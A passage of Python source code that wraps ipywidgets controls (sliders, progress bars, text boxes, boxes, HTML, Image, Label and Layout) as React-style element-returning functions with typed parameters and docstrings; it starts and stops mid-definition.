continuous_update: Update the value of the widget as the user is holding the slider. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param max: Max value for the exponent :param min: Min value for the exponent :param orientation: Vertical or horizontal. :param readout: Display the current value of the slider next to it. :param readout_format: Format for the readout :param step: Minimum step in the exponent to increment the value :param value: Float value """ kwargs: Dict[Any, Any] = without_default(FloatLogSlider, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = SliderStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_float.FloatLogSlider comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def FloatProgress( bar_style: str = "", description: str = "", description_tooltip: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, max: float = 100.0, min: float = 0.0, orientation: str = "horizontal", style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_int.ProgressStyle]] = {}, value: float = 0.0, on_bar_style: typing.Callable[[str], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_max: typing.Callable[[float], Any] = None, on_min: typing.Callable[[float], Any] = None, on_orientation: typing.Callable[[str], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_int.ProgressStyle]]], Any] = None, on_value: typing.Callable[[float], Any] = None, ) -> Element[ipywidgets.widgets.widget_float.FloatProgress]: """Displays a progress bar. Parameters ----------- value : float position within the range of the progress bar min : float minimal position of the slider max : float maximal position of the slider description : str name of the progress bar orientation : {'horizontal', 'vertical'} default is 'horizontal', orientation of the progress bar bar_style: {'success', 'info', 'warning', 'danger', ''} color of the progress bar, default is '' (blue) colors are: 'success'-green, 'info'-light blue, 'warning'-orange, 'danger'-red :param bar_style: Use a predefined styling for the progess bar. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param max: Max value :param min: Min value :param orientation: Vertical or horizontal. :param value: Float value """ kwargs: Dict[Any, Any] = without_default(FloatProgress, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = ProgressStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_float.FloatProgress comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def FloatRangeSlider( continuous_update: bool = True, description: str = "", description_tooltip: str = None, disabled: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, max: float = 100.0, min: float = 0.0, orientation: str = "horizontal", readout: bool = True, readout_format: str = ".2f", step: float = 0.1, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_int.SliderStyle]] = {}, value: tuple = (0.0, 1.0), on_continuous_update: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_max: typing.Callable[[float], Any] = None, on_min: typing.Callable[[float], Any] = None, on_orientation: typing.Callable[[str], Any] = None, on_readout: typing.Callable[[bool], Any] = None, on_readout_format: typing.Callable[[str], Any] = None, on_step: typing.Callable[[float], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_int.SliderStyle]]], Any] = None, on_value: typing.Callable[[tuple], Any] = None, ) -> Element[ipywidgets.widgets.widget_float.FloatRangeSlider]: """Slider/trackbar that represents a pair of floats bounded by minimum and maximum value. Parameters ---------- value : float tuple range of the slider displayed min : float minimal position of the slider max : float maximal position of the slider step : float step of the trackbar description : str name of the slider orientation : {'horizontal', 'vertical'} default is 'horizontal' readout : {True, False} default is True, display the current value of the slider next to it readout_format : str default is '.2f', specifier for the format function used to represent slider value for human consumption, modeled after Python 3's format specification mini-language (PEP 3101). :param continuous_update: Update the value of the widget as the user is sliding the slider. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param max: Max value :param min: Min value :param orientation: Vertical or horizontal. :param readout: Display the current value of the slider next to it. :param readout_format: Format for the readout :param step: Minimum step to increment the value :param value: Tuple of (lower, upper) bounds """ kwargs: Dict[Any, Any] = without_default(FloatRangeSlider, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = SliderStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_float.FloatRangeSlider comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def FloatSlider( continuous_update: bool = True, description: str = "", description_tooltip: str = None, disabled: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, max: float = 100.0, min: float = 0.0, orientation: str = "horizontal", readout: bool = True, readout_format: str = ".2f", step: float = 0.1, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_int.SliderStyle]] = {}, value: float = 0.0, on_continuous_update: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_max: typing.Callable[[float], Any] = None, on_min: typing.Callable[[float], Any] = None, on_orientation: typing.Callable[[str], Any] = None, on_readout: typing.Callable[[bool], Any] = None, on_readout_format: typing.Callable[[str], Any] = None, on_step: typing.Callable[[float], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_int.SliderStyle]]], Any] = None, on_value: typing.Callable[[float], Any] = None, ) -> Element[ipywidgets.widgets.widget_float.FloatSlider]: """Slider/trackbar of floating values with the specified range. Parameters ---------- value : float position of the slider min : float minimal position of the slider max : float maximal position of the slider step : float step of the trackbar description : str name of the slider orientation : {'horizontal', 'vertical'} default is 'horizontal', orientation of the slider readout : {True, False} default is True, display the current value of the slider next to it readout_format : str default is '.2f', specifier for the format function used to represent slider value for human consumption, modeled after Python 3's format specification mini-language (PEP 3101). :param continuous_update: Update the value of the widget as the user is holding the slider. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param max: Max value :param min: Min value :param orientation: Vertical or horizontal. :param readout: Display the current value of the slider next to it. :param readout_format: Format for the readout :param step: Minimum step to increment the value :param value: Float value """ kwargs: Dict[Any, Any] = without_default(FloatSlider, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = SliderStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_float.FloatSlider comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def FloatText( continuous_update: bool = False, description: str = "", description_tooltip: str = None, disabled: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, step: float = None, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: float = 0.0, on_continuous_update: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_step: typing.Callable[[float], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[float], Any] = None, ) -> Element[ipywidgets.widgets.widget_float.FloatText]: """Displays a float value within a textbox. For a textbox in which the value must be within a specific range, use BoundedFloatText. Parameters ---------- value : float value displayed step : float step of the increment (if None, any step is allowed) description : str description displayed next to the text box :param continuous_update: Update the value as the user types. If False, update on submission, e.g., pressing Enter or navigating away. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param step: Minimum step to increment the value :param style: Styling customizations :param value: Float value """ kwargs: Dict[Any, Any] = without_default(FloatText, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_float.FloatText comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def GridBox( box_style: str = "", children: Sequence[Element[ipywidgets.Widget]] = (), layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, on_box_style: typing.Callable[[str], Any] = None, on_children: typing.Callable[[Sequence[Element[ipywidgets.Widget]]], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, ) -> Element[ipywidgets.widgets.widget_box.GridBox]: """Displays multiple widgets in rows and columns using the grid box model. Parameters ---------- {box_params} Examples -------- >>> import ipywidgets as widgets >>> title_widget = widgets.HTML('<em>Grid Box Example</em>') >>> slider = widgets.IntSlider() >>> button1 = widgets.Button(description='1') >>> button2 = widgets.Button(description='2') >>> # Create a grid with two columns, splitting space equally >>> layout = widgets.Layout(grid_template_columns='1fr 1fr') >>> widgets.GridBox([title_widget, slider, button1, button2], layout=layout) :param box_style: Use a predefined styling for the box. :param children: List of widget children """ kwargs: Dict[Any, Any] = without_default(GridBox, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.widget_box.GridBox comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def GridspecLayout( align_items: str = None, box_style: str = "", children: Sequence[Element[ipywidgets.Widget]] = (), grid_gap: str = None, height: str = None, justify_content: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, n_columns: int = 0, n_rows: int = 0, width: str = None, on_align_items: typing.Callable[[str], Any] = None, on_box_style: typing.Callable[[str], Any] = None, on_children: typing.Callable[[Sequence[Element[ipywidgets.Widget]]], Any] = None, on_grid_gap: typing.Callable[[str], Any] = None, on_height: typing.Callable[[str], Any] = None, on_justify_content: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_n_columns: typing.Callable[[int], Any] = None, on_n_rows: typing.Callable[[int], Any] = None, on_width: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_templates.GridspecLayout]: """Define a N by M grid layout Parameters ---------- n_rows : int number of rows in the grid n_columns : int number of columns in the grid grid_gap : str CSS attribute used to set the gap between the grid cells justify_content : str, in ['flex-start', 'flex-end', 'center', 'space-between', 'space-around'] CSS attribute used to align widgets vertically align_items : str, in ['top', 'bottom', 'center', 'flex-start', 'flex-end', 'baseline', 'stretch'] CSS attribute used to align widgets horizontally width : str height : str width and height Examples -------- >>> from ipywidgets import GridspecLayout, Button, Layout >>> layout = GridspecLayout(n_rows=4, n_columns=2, height='200px') >>> layout[:3, 0] = Button(layout=Layout(height='auto', width='auto')) >>> layout[1:, 1] = Button(layout=Layout(height='auto', width='auto')) >>> layout[-1, 0] = Button(layout=Layout(height='auto', width='auto')) >>> layout[0, 1] = Button(layout=Layout(height='auto', width='auto')) >>> layout :param align_items: The align-items CSS attribute. :param box_style: Use a predefined styling for the box. :param children: List of widget children :param grid_gap: The grid-gap CSS attribute. :param height: The width CSS attribute. :param justify_content: The justify-content CSS attribute. :param width: The width CSS attribute. """ kwargs: Dict[Any, Any] = without_default(GridspecLayout, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.widget_templates.GridspecLayout comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def HBox( box_style: str = "", children: Sequence[Element[ipywidgets.Widget]] = (), layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, on_box_style: typing.Callable[[str], Any] = None, on_children: typing.Callable[[Sequence[Element[ipywidgets.Widget]]], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, ) -> Element[ipywidgets.widgets.widget_box.HBox]: """Displays multiple widgets horizontally using the flexible box model. Parameters ---------- children: iterable of Widget instances list of widgets to display box_style: str one of 'success', 'info', 'warning' or 'danger', or ''. Applies a predefined style to the box. Defaults to '', which applies no pre-defined style. Examples -------- >>> import ipywidgets as widgets >>> title_widget = widgets.HTML('<em>Horizontal Box Example</em>') >>> slider = widgets.IntSlider() >>> widgets.HBox([title_widget, slider]) :param box_style: Use a predefined styling for the box. :param children: List of widget children """ kwargs: Dict[Any, Any] = without_default(HBox, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.widget_box.HBox comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def HTML( description: str = "", description_tooltip: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, placeholder: str = "\u200b", style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: str = "", on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_placeholder: typing.Callable[[str], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_string.HTML]: """Renders the string `value` as HTML. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param placeholder: Placeholder text to display when nothing has been typed :param style: Styling customizations :param value: String value """ kwargs: Dict[Any, Any] = without_default(HTML, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_string.HTML comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def HTMLMath( description: str = "", description_tooltip: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, placeholder: str = "\u200b", style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: str = "", on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_placeholder: typing.Callable[[str], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_string.HTMLMath]: """Renders the string `value` as HTML, and render mathematics. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param placeholder: Placeholder text to display when nothing has been typed :param style: Styling customizations :param value: String value """ kwargs: Dict[Any, Any] = without_default(HTMLMath, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_string.HTMLMath comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Image( format: str = "png", height: str = "", layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, value: bytes = b"", width: str = "", on_format: typing.Callable[[str], Any] = None, on_height: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_value: typing.Callable[[bytes], Any] = None, on_width: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_media.Image]: """Displays an image as a widget. The `value` of this widget accepts a byte string. The byte string is the raw image data that you want the browser to display. You can explicitly define the format of the byte string using the `format` trait (which defaults to "png"). If you pass `"url"` to the `"format"` trait, `value` will be interpreted as a URL as bytes encoded in UTF-8. :param format: The format of the image. :param height: Height of the image in pixels. Use layout.height for styling the widget. :param value: The media data as a byte string. :param width: Width of the image in pixels. Use layout.width for styling the widget. """ kwargs: Dict[Any, Any] = without_default(Image, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.widget_media.Image comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def IntProgress( bar_style: str = "", description: str = "", description_tooltip: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, max: int = 100, min: int = 0, orientation: str = "horizontal", style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_int.ProgressStyle]] = {}, value: int = 0, on_bar_style: typing.Callable[[str], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_max: typing.Callable[[int], Any] = None, on_min: typing.Callable[[int], Any] = None, on_orientation: typing.Callable[[str], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_int.ProgressStyle]]], Any] = None, on_value: typing.Callable[[int], Any] = None, ) -> Element[ipywidgets.widgets.widget_int.IntProgress]: """Progress bar that represents an integer bounded from above and below. :param bar_style: Use a predefined styling for the progess bar. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param max: Max value :param min: Min value :param orientation: Vertical or horizontal. :param value: Int value """ kwargs: Dict[Any, Any] = without_default(IntProgress, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = ProgressStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_int.IntProgress comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def IntRangeSlider( continuous_update: bool = True, description: str = "", description_tooltip: str = None, disabled: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, max: int = 100, min: int = 0, orientation: str = "horizontal", readout: bool = True, readout_format: str = "d", step: int = 1, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_int.SliderStyle]] = {}, value: tuple = (0, 1), on_continuous_update: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_max: typing.Callable[[int], Any] = None, on_min: typing.Callable[[int], Any] = None, on_orientation: typing.Callable[[str], Any] = None, on_readout: typing.Callable[[bool], Any] = None, on_readout_format: typing.Callable[[str], Any] = None, on_step: typing.Callable[[int], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_int.SliderStyle]]], Any] = None, on_value: typing.Callable[[tuple], Any] = None, ) -> Element[ipywidgets.widgets.widget_int.IntRangeSlider]: """Slider/trackbar that represents a pair of ints bounded by minimum and maximum value. Parameters ---------- value : int tuple The pair (`lower`, `upper`) of integers min : int The lowest allowed value for `lower` max : int The highest allowed value for `upper` :param continuous_update: Update the value of the widget as the user is sliding the slider. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param max: Max value :param min: Min value :param orientation: Vertical or horizontal. :param readout: Display the current value of the slider next to it. :param readout_format: Format for the readout :param step: Minimum step that the value can take :param style: Slider style customizations. :param value: Tuple of (lower, upper) bounds """ kwargs: Dict[Any, Any] = without_default(IntRangeSlider, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = SliderStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_int.IntRangeSlider comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def IntSlider( continuous_update: bool = True, description: str = "", description_tooltip: str = None, disabled: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, max: int = 100, min: int = 0, orientation: str = "horizontal", readout: bool = True, readout_format: str = "d", step: int = 1, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_int.SliderStyle]] = {}, value: int = 0, on_continuous_update: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_max: typing.Callable[[int], Any] = None, on_min: typing.Callable[[int], Any] = None, on_orientation: typing.Callable[[str], Any] = None, on_readout: typing.Callable[[bool], Any] = None, on_readout_format: typing.Callable[[str], Any] = None, on_step: typing.Callable[[int], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_int.SliderStyle]]], Any] = None, on_value: typing.Callable[[int], Any] = None, ) -> Element[ipywidgets.widgets.widget_int.IntSlider]: """Slider widget that represents an integer bounded from above and below. :param continuous_update: Update the value of the widget as the user is holding the slider. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param max: Max value :param min: Min value :param orientation: Vertical or horizontal. :param readout: Display the current value of the slider next to it. :param readout_format: Format for the readout :param step: Minimum step to increment the value :param value: Int value """ kwargs: Dict[Any, Any] = without_default(IntSlider, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = SliderStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_int.IntSlider comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def IntText( continuous_update: bool = False, description: str = "", description_tooltip: str = None, disabled: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, step: int = 1, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: int = 0, on_continuous_update: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_step: typing.Callable[[int], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[int], Any] = None, ) -> Element[ipywidgets.widgets.widget_int.IntText]: """Textbox widget that represents an integer. :param continuous_update: Update the value as the user types. If False, update on submission, e.g., pressing Enter or navigating away. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param step: Minimum step to increment the value :param style: Styling customizations :param value: Int value """ kwargs: Dict[Any, Any] = without_default(IntText, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_int.IntText comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Label( description: str = "", description_tooltip: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, placeholder: str = "\u200b", style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: str = "", on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_placeholder: typing.Callable[[str], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_string.Label]: """Label widget. It also renders math inside the string `value` as Latex (requires $ $ or $$ $$ and similar latex tags). :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param placeholder: Placeholder text to display when nothing has been typed :param style: Styling customizations :param value: String value """ kwargs: Dict[Any, Any] = without_default(Label, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_string.Label comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Layout( align_content: str = None, align_items: str = None, align_self: str = None, border: str = None, bottom: str = None, display: str = None, flex: str = None, flex_flow: str = None, grid_area: str = None, grid_auto_columns: str = None, grid_auto_flow: str = None, grid_auto_rows: str = None, grid_column: str = None, grid_gap: str = None, grid_row: str = None, grid_template_areas: str = None, grid_template_columns: str = None, grid_template_rows: str = None, height: str = None, justify_content: str = None, justify_items: str = None, left: str = None, margin: str = None, max_height: str = None, max_width: str = None, min_height: str = None, min_width: str = None, object_fit: str = None, object_position: str = None, order: str = None, overflow: str = None, overflow_x: str = None, overflow_y: str = None, padding: str = None, right: str = None, top: str = None, visibility: str = None, width: str = None, on_align_content: typing.Callable[[str], Any] = None, on_align_items: typing.Callable[[str], Any] = None, on_align_self: typing.Callable[[str], Any] = None, on_border: typing.Callable[[str], Any] = None, on_bottom: typing.Callable[[str], Any] = None, on_display: typing.Callable[[str], Any] = None, on_flex: typing.Callable[[str], Any] = None, on_flex_flow: typing.Callable[[str], Any] = None, on_grid_area: typing.Callable[[str], Any] = None, on_grid_auto_columns: typing.Callable[[str], Any] = None, on_grid_auto_flow: typing.Callable[[str], Any] = None, on_grid_auto_rows: typing.Callable[[str], Any] = None, on_grid_column: typing.Callable[[str], Any] = None, on_grid_gap: typing.Callable[[str], Any] = None, on_grid_row: typing.Callable[[str], Any] = None, on_grid_template_areas: typing.Callable[[str], Any] = None, on_grid_template_columns: typing.Callable[[str], Any] = None, on_grid_template_rows: typing.Callable[[str], Any] = None, on_height: typing.Callable[[str], Any] = None, on_justify_content: typing.Callable[[str], Any] = None, on_justify_items: typing.Callable[[str], Any] = None, on_left: typing.Callable[[str], Any] = None, on_margin: typing.Callable[[str], Any] = None, on_max_height: typing.Callable[[str], Any] = None, on_max_width: typing.Callable[[str], Any] = None, on_min_height: typing.Callable[[str], Any] = None, on_min_width: typing.Callable[[str], Any] = None, on_object_fit: typing.Callable[[str], Any] = None, on_object_position: typing.Callable[[str], Any] = None, on_order: typing.Callable[[str], Any] = None, on_overflow: typing.Callable[[str], Any] = None, on_overflow_x: typing.Callable[[str], Any] = None, on_overflow_y: typing.Callable[[str], Any] = None, on_padding: typing.Callable[[str], Any] = None, on_right: typing.Callable[[str], Any] = None, on_top: typing.Callable[[str], Any] = None, on_visibility: typing.Callable[[str], Any] = None, on_width: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_layout.Layout]: """Layout specification Defines a layout that can be expressed using CSS. Supports a subset of https://developer.mozilla.org/en-US/docs/Web/CSS/Reference When a property is also accessible via a shorthand property, we only expose the shorthand. For example: - ``flex-grow``, ``flex-shrink`` and ``flex-basis`` are bound to ``flex``. - ``flex-wrap`` and ``flex-direction`` are bound to ``flex-flow``. - ``margin-[top/bottom/left/right]`` values are bound to ``margin``, etc. :param align_content: The align-content CSS attribute. :param align_items: The align-items CSS attribute. :param align_self: The align-self CSS attribute. :param border: The border CSS attribute. :param bottom: The bottom CSS attribute. :param display: The display CSS attribute. :param flex: The flex CSS attribute. :param flex_flow: The flex-flow CSS attribute. :param grid_area: The grid-area CSS attribute. :param grid_auto_columns: The grid-auto-columns CSS attribute. :param grid_auto_flow: The grid-auto-flow CSS attribute. :param grid_auto_rows: The grid-auto-rows CSS attribute. :param grid_column: The grid-column CSS attribute. :param grid_gap: The grid-gap CSS attribute. :param grid_row: The grid-row CSS attribute. :param grid_template_areas: The grid-template-areas CSS attribute. :param grid_template_columns: The grid-template-columns CSS attribute. :param grid_template_rows: The grid-template-rows CSS attribute. :param height: The height CSS attribute. :param justify_content: The justify-content CSS attribute. :param justify_items: The justify-items CSS attribute. :param left: The left CSS attribute. :param margin: The margin CSS attribute. :param max_height: The max-height CSS attribute. :param max_width: The max-width CSS attribute. :param min_height: The min-height CSS attribute. :param min_width: The min-width CSS attribute. :param object_fit: The object-fit CSS attribute. :param object_position: The object-position CSS attribute. :param order: The order CSS attribute. :param overflow: The overflow CSS attribute. :param overflow_x: The overflow-x CSS attribute (deprecated). :param overflow_y: The overflow-y CSS attribute (deprecated). :param padding: The padding CSS attribute. :param right: The right CSS attribute. :param top: The top CSS attribute. :param visibility: The visibility CSS attribute. :param width: The width CSS attribute. """ kwargs: Dict[Any, Any] = without_default(Layout, locals()) widget_cls = ipywidgets.widgets.widget_layout.Layout comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Output( layout: Union[Dict[str, Any], 